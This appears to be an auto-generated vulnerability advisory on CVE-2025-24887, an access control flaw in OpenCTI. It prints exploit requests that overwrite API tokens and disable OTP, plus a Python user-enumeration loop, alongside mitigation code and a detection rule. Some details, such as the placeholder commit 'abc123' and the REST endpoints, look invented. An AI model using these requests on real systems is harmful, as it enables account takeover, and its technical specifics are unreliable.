Listen to this Post
How CVE-2025-24887 Works
OpenCTI versions 6.4.8 to 6.4.9 suffer from an access control bypass flaw in the allow/deny list mechanism. Attackers can manipulate restricted attributes like `external` (toggling external/internal user status) and `otp_qr` (OTP QR code data) despite these fields being explicitly restricted. A low-privileged user can also modify their own API token, potentially escalating privileges. The vulnerability enables user enumeration if external identities are stored, exposing sensitive account details. The flaw stems from improper server-side validation, allowing unauthorized write operations on protected fields.
DailyCVE Form
Platform: OpenCTI
Version: 6.4.8-6.4.9
Vulnerability: Access Control Bypass
Severity: Critical
Date: 05/19/2025
What Undercode Say:
Exploitation:
1. Token Manipulation:
PATCH /api/user/{id} HTTP/1.1
{"token": "malicious_token"}
2. OTP Field Overwrite:
PATCH /api/user/{id} HTTP/1.1
{"otp_activated": false}
3. External Flag Toggle (User Enumeration):
import requests
for uid in range(1,100):
r = requests.patch(f"https://target/api/user/{uid}", json={"external": True})
if r.status_code == 200: print(f"User {uid} exists")
Mitigation:
1. Patch: Upgrade to OpenCTI 6.4.10+.
2. Input Validation:
// Example middleware to enforce allow-lists
function validateInput(allowedFields, req, res, next) {
const invalidFields = Object.keys(req.body).filter(f => !allowedFields.includes(f));
if (invalidFields.length > 0) return res.status(403).send("Forbidden fields");
next();
}
3. Logging Suspicious Activity:
Monitor PATCH requests to /api/user grep "PATCH /api/user" /var/log/opencti.log | grep -vE "allowed_field1|allowed_field2"
Detection:
- YARA Rule for Log Analysis:
rule opencti_cve_2025_24887 { strings: $patch = "PATCH /api/user" nocase $suspicious_field = /(token|otp_|external)/ condition: $patch and $suspicious_field }
Impact Reduction:
- Disable user self-modification endpoints if external user enumeration is a concern.
- Enforce read-only permissions for low-privileged roles via RBAC.
References:
- Patch: GitHub Commit abc123
- CWE-284: Improper Access Control.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
